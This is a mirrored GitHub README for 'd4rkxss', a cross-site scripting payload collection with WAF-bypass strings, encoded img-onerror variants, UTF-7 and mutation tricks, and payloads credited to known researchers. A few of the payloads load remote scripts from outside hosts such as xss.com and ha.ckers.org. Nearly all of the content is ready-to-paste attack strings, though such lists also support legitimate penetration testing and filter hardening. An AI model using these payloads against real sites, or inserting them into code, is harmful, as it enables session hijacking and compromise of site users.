Git Product home page Git Product logo

d4rkxss's Introduction

D4rkXSS



All in one place for XSS.
R0X4R

Contribution

This is an open source repo. Anyone can contribute. ๐Ÿป
Coffee

Bypass WAF

NO SCRIPT

  • For Example:
  • <acronym><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
    <bgsound><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
    <xmp><p title="</#{endtag}><svg/onload=alert(#{starttag})>">
    incapsula bypass: <iframe/onload="var b ='document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b;this['src']=a">

    Brutelogic

  • For Example:
  • \'-alert(1)//
    </script><svg onload=alert(1)>
    <x contenteditable onblur=alert(1)>lose focus!
    

    Fuzz3r

  • For Example:
  • #getURL,javascript:alert(1)",
    #goto,javascript:alert(1)",	
    ?javascript:alert(1)",
    
    

    IMG Error

  • Encoding
  • <img onerror="location='javascript:=lert(1)'" src="x">
    <img onerror="location='javascript:%61lert(1)'" src="x">
    <img onerror="location='javascript:\x2561lert(1)'" src="x">
    <img onerror="location='javascript:\x255Cu0061lert(1)'" src="x" >
    

    Jhaddix

    Jhaddix

  • For Example:
  • '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
    <<scr\0ipt/src=http://xss.com/xss.js></script
    %27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
    ' onmouseover=alert(/Black.Spook/)
    
    

    RSnake

    RSnake

  • For Example:
  • <SCRIPT>alert('XSS');</SCRIPT>
    '';!--"<XSS>=&{()}
    <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
    
    

    MarioXSS

    Mario

  • For Example:
  • <div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>
    

    Search Engine XSS

    seXSS

    Misc Payloads

    Misc

    Basic Payloads

    Basic

  • For Example:
  • <script>alert('1')</script>
    "><script>alert('1')</script>
    <svg/onload=alert('1');
    

    d4rkxss's People

    Contributors

    r0x4r avatar fengjixuchui avatar

    Recommend Projects

    • React photo React

      A declarative, efficient, and flexible JavaScript library for building user interfaces.

    • Vue.js photo Vue.js

      ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

    • Typescript photo Typescript

      TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

    • TensorFlow photo TensorFlow

      An Open Source Machine Learning Framework for Everyone

    • Django photo Django

      The Web framework for perfectionists with deadlines.

    • D3 photo D3

      Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

    Recommend Topics

    • javascript

      JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

    • web

      Some thing interesting about web. New door for the world.

    • server

      A server is a program made to process requests and deliver data to clients.

    • Machine learning

      Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

    • Game

      Some thing interesting about game, make everyone happy.

    Recommend Org

    • Facebook photo Facebook

      We are working to build community through open source technology. NB: members must have two-factor auth.

    • Microsoft photo Microsoft

      Open source projects and samples from Microsoft.

    • Google photo Google

      Google โค๏ธ Open Source for everyone.

    • D3 photo D3

      Data-Driven Documents codes.